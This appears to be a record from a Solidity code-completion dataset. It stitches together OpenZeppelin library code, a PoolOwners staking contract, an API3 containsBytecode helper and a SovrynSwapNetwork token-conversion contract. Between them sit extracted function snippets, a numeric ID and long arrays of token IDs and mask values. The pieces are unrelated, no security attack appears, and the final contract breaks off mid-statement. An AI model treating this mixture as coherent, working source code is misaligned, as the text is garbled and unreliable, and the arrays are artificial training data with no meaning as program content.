'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File contracts/v7/interfaces/IPoolAllowance.sol pragma solidity 0.7.4; interface IPoolAllowance is IERC20 { function mintAllowance(address _account, uint256 _amount) external; function burnAllowance(address _account, uint256 _amount) external; } // File contracts/v7/interfaces/IRewardsPool.sol pragma solidity 0.7.4; interface IRewardsPool is IERC20 { function updateReward(address _account) external; function withdraw() external; function depositReward(uint256 _reward) external; } // File contracts/v7/interfaces/IOwnersRewardsPool.sol pragma solidity 0.7.4; interface IOwnersRewardsPool is IRewardsPool { function withdraw(address _account) external; } // File contracts/v7/interfaces/IERC677.sol pragma solidity 0.7.4; interface IERC677 is IERC20 { function transferAndCall(address _to, uint256 _value, bytes calldata _data) external returns (bool success); } // File contracts/v7/PoolOwners.sol pragma solidity 0.7.4; /** * @title Pool Owners * @dev Handles owners token staking, allowance token distribution, & owners rewards assets */ contract PoolOwners is ReentrancyGuard, Ownable { using SafeMath for uint256; using SafeERC20 for IERC677; IERC677 public stakingToken; uint256 public totalStaked; mapping(address => uint256) private stakedBalances; uint16 public totalRewardTokens; mapping(uint16 => address) public rewardTokens; mapping(address => address) public rewardPools; mapping(address => address) public allowanceTokens; mapping(address => mapping(address => uint256)) private mintedAllowanceTokens; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardsWithdrawn(address indexed user); event AllowanceMinted(address indexed user); event RewardTokenAdded(address indexed token, address allowanceToken, address rewardsPool); event RewardTokenRemoved(address indexed token); constructor(address _stakingToken) { stakingToken = IERC677(_stakingToken); } modifier updateRewards(address _account) { for (uint16 i = 0; i < totalRewardTokens; i++) { IOwnersRewardsPool(rewardPools[rewardTokens[i]]).updateReward(_account); } _; } /** * @dev returns a user's staked balance * @param _account user to return balance for * @return user's staked balance **/ function balanceOf(address _account) public view returns (uint256) { return stakedBalances[_account]; } /** * @dev returns how many allowance tokens have been minted for a user * @param _allowanceToken allowance token to return minted amount for * @param _account user to return minted amount for * @return total allowance tokens a user has minted **/ function mintedAllowance(address _allowanceToken, address _account) public view returns (uint256) { return mintedAllowanceTokens[_allowanceToken][_account]; } /** * @dev returns total amount staked * @return total amount staked **/ function totalSupply() public view returns (uint256) { return totalStaked; } /** * @dev ERC677 implementation that proxies staking * @param _sender of the token transfer * @param _value of the token transfer **/ function onTokenTransfer(address _sender, uint256 _value, bytes calldata) external nonReentrant { require(msg.sender == address(stakingToken), "Sender must be staking token"); require(_value > 0, "Cannot stake 0"); _stake(_sender, _value); } /** * @dev stakes owners tokens & mints staking allowance tokens in return * @param _amount amount to stake **/ function stake(uint256 _amount) external nonReentrant { require(_amount > 0, "Cannot stake 0"); stakingToken.safeTransferFrom(msg.sender, address(this), _amount); _stake(msg.sender, _amount); } /** * @dev burns staking allowance tokens and withdraws staked owners tokens * @param _amount amount to withdraw **/ function withdraw(uint256 _amount) public nonReentrant updateRewards(msg.sender) { require(_amount > 0, "Cannot withdraw 0"); stakedBalances[msg.sender] = stakedBalances[msg.sender].sub(_amount); totalStaked -= _amount; _burnAllowance(msg.sender); stakingToken.safeTransfer(msg.sender, _amount); emit Withdrawn(msg.sender, _amount); } /** * @dev withdraws user's earned rewards for a all assets **/ function withdrawAllRewards() public nonReentrant { for (uint16 i = 0; i < totalRewardTokens; i++) { _withdrawReward(rewardTokens[i], msg.sender); } emit RewardsWithdrawn(msg.sender); } /** * @dev withdraws users earned rewards for all assets and withdraws their owners tokens **/ function exit() external { withdraw(balanceOf(msg.sender)); withdrawAllRewards(); } /** * @dev mints a user's unclaimed allowance tokens (used if a new asset is added * after a user has already staked) **/ function mintAllowance() external nonReentrant { _mintAllowance(msg.sender); emit AllowanceMinted(msg.sender); } /** * @dev adds a new asset * @param _token asset to add * @param _allowanceToken asset pool allowance token to add * @param _rewardPool asset reward pool to add **/ function addRewardToken( address _token, address _allowanceToken, address _rewardPool ) external onlyOwner() { require(rewardPools[_token] == address(0), "Reward token already exists"); rewardTokens[totalRewardTokens] = _token; allowanceTokens[_token] = _allowanceToken; rewardPools[_token] = _rewardPool; totalRewardTokens++; emit RewardTokenAdded(_token, _allowanceToken, _rewardPool); } /** * @dev removes an existing asset * @param _index index of asset to remove **/ function removeRewardToken(uint16 _index) external onlyOwner() { require(_index < totalRewardTokens, "Reward token does not exist"); address token = rewardTokens[_index]; if (totalRewardTokens > 1) { rewardTokens[_index] = rewardTokens[totalRewardTokens - 1]; } delete rewardTokens[totalRewardTokens - 1]; delete allowanceTokens[token]; delete rewardPools[token]; totalRewardTokens--; emit RewardTokenRemoved(token); } /** * @dev stakes owners tokens & mints staking allowance tokens in return * @param _amount amount to stake **/ function _stake(address _sender, uint256 _amount) private updateRewards(_sender) { stakedBalances[_sender] = stakedBalances[_sender].add(_amount); totalStaked += _amount; _mintAllowance(_sender); emit Staked(_sender, _amount); } /** * @dev withdraws rewards for a specific asset & account * @param _token asset to withdraw * @param _account user to withdraw for **/ function _withdrawReward(address _token, address _account) private { require(rewardPools[_token] != address(0), "Reward token does not exist"); IOwnersRewardsPool(rewardPools[_token]).withdraw(_account); } /** * @dev mints allowance tokens based on a user's staked balance * @param _account user to mint tokens for **/ function _mintAllowance(address _account) private { uint256 stakedAmount = balanceOf(_account); for (uint16 i = 0; i < totalRewardTokens; i++) { address token = allowanceTokens[rewardTokens[i]]; uint256 minted = mintedAllowance(token, _account); if (minted < stakedAmount) { IPoolAllowance(token).mintAllowance(_account, stakedAmount.sub(minted)); mintedAllowanceTokens[token][_account] = stakedAmount; } } } /** * @dev burns allowance tokens based on a user's staked balance * @param _account user to burn tokens for **/ function _burnAllowance(address _account) private { uint256 stakedAmount = balanceOf(_account); for (uint16 i = 0; i < totalRewardTokens; i++) { address token = allowanceTokens[rewardTokens[i]]; uint256 minted = mintedAllowance(token, _account); if (minted > stakedAmount) { IPoolAllowance(token).burnAllowance(_account, minted.sub(stakedAmount)); mintedAllowanceTokens[token][_account] = stakedAmount; } } } }
* @dev adds a new asset @param _token asset to add @param _allowanceToken asset pool allowance token to add @param _rewardPool asset reward pool to add/
function addRewardToken( address _token, address _allowanceToken, address _rewardPool ) external onlyOwner() { require(rewardPools[_token] == address(0), "Reward token already exists"); rewardTokens[totalRewardTokens] = _token; allowanceTokens[_token] = _allowanceToken; rewardPools[_token] = _rewardPool; totalRewardTokens++; emit RewardTokenAdded(_token, _allowanceToken, _rewardPool); }
7,811,864
[ 1, 25428, 279, 394, 3310, 225, 389, 2316, 3310, 358, 527, 225, 389, 5965, 1359, 1345, 3310, 2845, 1699, 1359, 1147, 358, 527, 225, 389, 266, 2913, 2864, 3310, 19890, 2845, 358, 527, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 17631, 1060, 1345, 12, 203, 3639, 1758, 389, 2316, 16, 203, 3639, 1758, 389, 5965, 1359, 1345, 16, 203, 3639, 1758, 389, 266, 2913, 2864, 203, 565, 262, 3903, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 266, 2913, 16639, 63, 67, 2316, 65, 422, 1758, 12, 20, 3631, 315, 17631, 1060, 1147, 1818, 1704, 8863, 203, 3639, 19890, 5157, 63, 4963, 17631, 1060, 5157, 65, 273, 389, 2316, 31, 203, 3639, 1699, 1359, 5157, 63, 67, 2316, 65, 273, 389, 5965, 1359, 1345, 31, 203, 3639, 19890, 16639, 63, 67, 2316, 65, 273, 389, 266, 2913, 2864, 31, 203, 3639, 2078, 17631, 1060, 5157, 9904, 31, 203, 3639, 3626, 534, 359, 1060, 1345, 8602, 24899, 2316, 16, 389, 5965, 1359, 1345, 16, 389, 266, 2913, 2864, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x04d2B3DdCdb2790571Ca01F4768e3cC98FCb0D2B/sources/@api3/airnode-protocol-v1/contracts/utils/ExtendedSelfMulticall.sol
@notice Returns if the account contains bytecode @dev An account not containing any bytecode does not indicate that it is an EOA or it will not contain any bytecode in the future. Contract construction and `SELFDESTRUCT` updates the bytecode at the end of the transaction. @return If the account contains bytecode
function containsBytecode( address account ) external view override returns (bool) { return account.code.length > 0; }
3,045,686
[ 1, 1356, 309, 326, 2236, 1914, 22801, 225, 1922, 2236, 486, 4191, 1281, 22801, 1552, 486, 10768, 716, 518, 353, 392, 512, 28202, 578, 518, 903, 486, 912, 1281, 22801, 316, 326, 3563, 18, 13456, 16171, 471, 1375, 26280, 1639, 13915, 68, 4533, 326, 22801, 622, 326, 679, 434, 326, 2492, 18, 327, 971, 326, 2236, 1914, 22801, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1914, 858, 16651, 12, 203, 3639, 1758, 2236, 203, 565, 262, 3903, 1476, 3849, 1135, 261, 6430, 13, 288, 203, 3639, 327, 2236, 18, 710, 18, 2469, 405, 374, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.26; import "./ISovrynSwapNetwork.sol"; import "./IConversionPathFinder.sol"; import "./converter/interfaces/IConverter.sol"; import "./converter/interfaces/IConverterAnchor.sol"; import "./converter/interfaces/ISovrynSwapFormula.sol"; import "./utility/ContractRegistryClient.sol"; import "./utility/ReentrancyGuard.sol"; import "./utility/TokenHolder.sol"; import "./utility/SafeMath.sol"; import "./token/interfaces/IEtherToken.sol"; import "./token/interfaces/ISmartToken.sol"; import "./sovrynswapx/interfaces/ISovrynSwapX.sol"; // interface of older converters for backward compatibility contract ILegacyConverter { function change( IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount, uint256 _minReturn ) public returns (uint256); } /** * @dev The SovrynSwapNetwork contract is the main entry point for SovrynSwap token conversions. * It also allows for the conversion of any token in the SovrynSwap Network to any other token in a single * transaction by providing a conversion path. * * A note on Conversion Path: Conversion path is a data structure that is used when converting a token * to another token in the SovrynSwap Network, when the conversion cannot necessarily be done by a single * converter and might require multiple 'hops'. * The path defines which converters should be used and what kind of conversion should be done in each step. * * The path format doesn't include complex structure; instead, it is represented by a single array * in which each 'hop' is represented by a 2-tuple - converter anchor & target token. * In addition, the first element is always the source token. * The converter anchor is only used as a pointer to a converter (since converter addresses are more * likely to change as opposed to anchor addresses). * * Format: * [source token, converter anchor, target token, converter anchor, target token...] */ contract SovrynSwapNetwork is ISovrynSwapNetwork, TokenHolder, ContractRegistryClient, ReentrancyGuard { using SafeMath for uint256; uint256 private constant CONVERSION_FEE_RESOLUTION = 1000000; uint256 private constant AFFILIATE_FEE_RESOLUTION = 1000000; address private constant ETH_RESERVE_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct ConversionStep { IConverter converter; IConverterAnchor anchor; IERC20Token sourceToken; IERC20Token targetToken; address beneficiary; bool isV28OrHigherConverter; bool processAffiliateFee; } uint256 public maxAffiliateFee = 30000; // maximum affiliate-fee mapping(address => bool) public etherTokens; // list of all supported ether tokens /** * @dev triggered when a conversion between two tokens occurs * * @param _smartToken anchor governed by the converter * @param _fromToken source ERC20 token * @param _toToken target ERC20 token * @param _fromAmount amount converted, in the source token * @param _toAmount amount returned, minus conversion fee * @param _trader wallet that initiated the trade */ event Conversion( address indexed _smartToken, address indexed _fromToken, address indexed _toToken, uint256 _fromAmount, uint256 _toAmount, address _trader ); /** * @dev initializes a new SovrynSwapNetwork instance * * @param _registry address of a contract registry contract */ constructor(IContractRegistry _registry) public ContractRegistryClient(_registry) { etherTokens[ETH_RESERVE_ADDRESS] = true; } /** * @dev allows the owner to update the maximum affiliate-fee * * @param _maxAffiliateFee maximum affiliate-fee */ function setMaxAffiliateFee(uint256 _maxAffiliateFee) public ownerOnly { require(_maxAffiliateFee <= AFFILIATE_FEE_RESOLUTION, "ERR_INVALID_AFFILIATE_FEE"); maxAffiliateFee = _maxAffiliateFee; } /** * @dev allows the owner to register/unregister ether tokens * * @param _token ether token contract address * @param _register true to register, false to unregister */ function registerEtherToken(IEtherToken _token, bool _register) public ownerOnly validAddress(_token) notThis(_token) { etherTokens[_token] = _register; } /** * @dev returns the conversion path between two tokens in the network * note that this method is quite expensive in terms of gas and should generally be called off-chain * * @param _sourceToken source token address * @param _targetToken target token address * * @return conversion path between the two tokens */ function conversionPath(IERC20Token _sourceToken, IERC20Token _targetToken) public view returns (address[]) { IConversionPathFinder pathFinder = IConversionPathFinder(addressOf(CONVERSION_PATH_FINDER)); return pathFinder.findPath(_sourceToken, _targetToken); } /** * @dev returns the expected target amount of converting a given amount on a given path * note that there is no support for circular paths * * @param _path conversion path (see conversion path format above) * @param _amount amount of _path[0] tokens received from the sender * * @return expected target amount */ function rateByPath(IERC20Token[] _path, uint256 _amount) public view returns (uint256) { uint256 amount; uint256 fee; uint256 supply; uint256 balance; uint32 weight; IConverter converter; ISovrynSwapFormula formula = ISovrynSwapFormula(addressOf(SOVRYNSWAP_FORMULA)); amount = _amount; // verify that the number of elements is larger than 2 and odd require(_path.length > 2 && _path.length % 2 == 1, "ERR_INVALID_PATH"); // iterate over the conversion path for (uint256 i = 2; i < _path.length; i += 2) { IERC20Token sourceToken = _path[i - 2]; IERC20Token anchor = _path[i - 1]; IERC20Token targetToken = _path[i]; converter = IConverter(IConverterAnchor(anchor).owner()); // backward compatibility sourceToken = getConverterTokenAddress(converter, sourceToken); targetToken = getConverterTokenAddress(converter, targetToken); if (targetToken == anchor) { // buy the smart token // check if the current smart token has changed if (i < 3 || anchor != _path[i - 3]) supply = ISmartToken(anchor).totalSupply(); // get the amount & the conversion fee balance = converter.getConnectorBalance(sourceToken); (, weight, , , ) = converter.connectors(sourceToken); amount = formula.purchaseTargetAmount(supply, balance, weight, amount); fee = amount.mul(converter.conversionFee()).div(CONVERSION_FEE_RESOLUTION); amount -= fee; // update the smart token supply for the next iteration supply = supply.add(amount); } else if (sourceToken == anchor) { // sell the smart token // check if the current smart token has changed if (i < 3 || anchor != _path[i - 3]) supply = ISmartToken(anchor).totalSupply(); // get the amount & the conversion fee balance = converter.getConnectorBalance(targetToken); (, weight, , , ) = converter.connectors(targetToken); amount = formula.saleTargetAmount(supply, balance, weight, amount); fee = amount.mul(converter.conversionFee()).div(CONVERSION_FEE_RESOLUTION); amount -= fee; // update the smart token supply for the next iteration supply = supply.sub(amount); } else { // cross reserve conversion (amount, fee) = getReturn(converter, sourceToken, targetToken, amount); } } return amount; } /** * @dev converts the token to any other token in the sovrynSwap network by following * a predefined conversion path and transfers the result tokens to a target account * affiliate account/fee can also be passed in to receive a conversion fee (on top of the liquidity provider fees) * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _beneficiary account that will receive the conversion result or 0x0 to send the result to the sender account * @param _affiliateAccount wallet address to receive the affiliate fee or 0x0 to disable affiliate fee * @param _affiliateFee affiliate fee in PPM or 0 to disable affiliate fee * * @return amount of tokens received from the conversion */ function convertByPath( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _beneficiary, address _affiliateAccount, uint256 _affiliateFee ) public payable protected greaterThanZero(_minReturn) returns (uint256) { // verify that the path contrains at least a single 'hop' and that the number of elements is odd require(_path.length > 2 && _path.length % 2 == 1, "ERR_INVALID_PATH"); // validate msg.value and prepare the source token for the conversion handleSourceToken(_path[0], IConverterAnchor(_path[1]), _amount); // check if affiliate fee is enabled bool affiliateFeeEnabled = false; if (address(_affiliateAccount) == 0) { require(_affiliateFee == 0, "ERR_INVALID_AFFILIATE_FEE"); } else { require(0 < _affiliateFee && _affiliateFee <= maxAffiliateFee, "ERR_INVALID_AFFILIATE_FEE"); affiliateFeeEnabled = true; } // check if beneficiary is set address beneficiary = msg.sender; if (_beneficiary != address(0)) beneficiary = _beneficiary; // convert and get the resulting amount ConversionStep[] memory data = createConversionData(_path, beneficiary, affiliateFeeEnabled); uint256 amount = doConversion(data, _amount, _minReturn, _affiliateAccount, _affiliateFee); // handle the conversion target tokens handleTargetToken(data, amount, beneficiary); return amount; } /** * @dev converts any other token to BNT in the sovrynSwap network by following a predefined conversion path and transfers the result to an account on a different blockchain * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _targetBlockchain blockchain BNT will be issued on * @param _targetAccount address/account on the target blockchain to send the BNT to * @param _conversionId pre-determined unique (if non zero) id which refers to this transaction * * @return the amount of BNT received from this conversion */ function xConvert( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, bytes32 _targetBlockchain, bytes32 _targetAccount, uint256 _conversionId ) public payable returns (uint256) { return xConvert2(_path, _amount, _minReturn, _targetBlockchain, _targetAccount, _conversionId, address(0), 0); } /** * @dev converts any other token to BNT in the sovrynSwap network by following a predefined conversion path and transfers the result to an account on a different blockchain * note that the network should already have been given allowance of the source token (if not ETH) * * @param _path conversion path, see conversion path format above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _targetBlockchain blockchain BNT will be issued on * @param _targetAccount address/account on the target blockchain to send the BNT to * @param _conversionId pre-determined unique (if non zero) id which refers to this transaction * @param _affiliateAccount affiliate account * @param _affiliateFee affiliate fee in PPM * * @return the amount of BNT received from this conversion */ function xConvert2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, bytes32 _targetBlockchain, bytes32 _targetAccount, uint256 _conversionId, address _affiliateAccount, uint256 _affiliateFee ) public payable greaterThanZero(_minReturn) returns (uint256) { IERC20Token targetToken = _path[_path.length - 1]; ISovrynSwapX sovrynSwapX = ISovrynSwapX(addressOf(SOVRYNSWAP_X)); // verify that the destination token is BNT require(targetToken == addressOf(BNT_TOKEN), "ERR_INVALID_TARGET_TOKEN"); // convert and get the resulting amount uint256 amount = convertByPath(_path, _amount, _minReturn, this, _affiliateAccount, _affiliateFee); // grant SovrynSwapX allowance ensureAllowance(targetToken, sovrynSwapX, amount); // transfer the resulting amount to SovrynSwapX sovrynSwapX.xTransfer(_targetBlockchain, _targetAccount, amount, _conversionId); return amount; } /** * @dev allows a user to convert a token that was sent from another blockchain into any other * token on the SovrynSwapNetwork * ideally this transaction is created before the previous conversion is even complete, so * so the input amount isn't known at that point - the amount is actually take from the * SovrynSwapX contract directly by specifying the conversion id * * @param _path conversion path * @param _sovrynSwapX address of the SovrynSwapX contract for the source token * @param _conversionId pre-determined unique (if non zero) id which refers to this conversion * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero * @param _beneficiary wallet to receive the conversion result * * @return amount of tokens received from the conversion */ function completeXConversion( IERC20Token[] _path, ISovrynSwapX _sovrynSwapX, uint256 _conversionId, uint256 _minReturn, address _beneficiary ) public returns (uint256) { // verify that the source token is the SovrynSwapX token require(_path[0] == _sovrynSwapX.token(), "ERR_INVALID_SOURCE_TOKEN"); // get conversion amount from SovrynSwapX contract uint256 amount = _sovrynSwapX.getXTransferAmount(_conversionId, msg.sender); // perform the conversion return convertByPath(_path, amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev executes the actual conversion by following the conversion path * * @param _data conversion data, see ConversionStep struct above * @param _amount amount to convert from, in the source token * @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be greater than zero * @param _affiliateAccount affiliate account * @param _affiliateFee affiliate fee in PPM * * @return amount of tokens received from the conversion */ function doConversion( ConversionStep[] _data, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) private returns (uint256) { uint256 toAmount; uint256 fromAmount = _amount; // iterate over the conversion data for (uint256 i = 0; i < _data.length; i++) { ConversionStep memory stepData = _data[i]; // newer converter if (stepData.isV28OrHigherConverter) { // transfer the tokens to the converter only if the network contract currently holds the tokens // not needed with ETH or if it's the first conversion step if (i != 0 && _data[i - 1].beneficiary == address(this) && 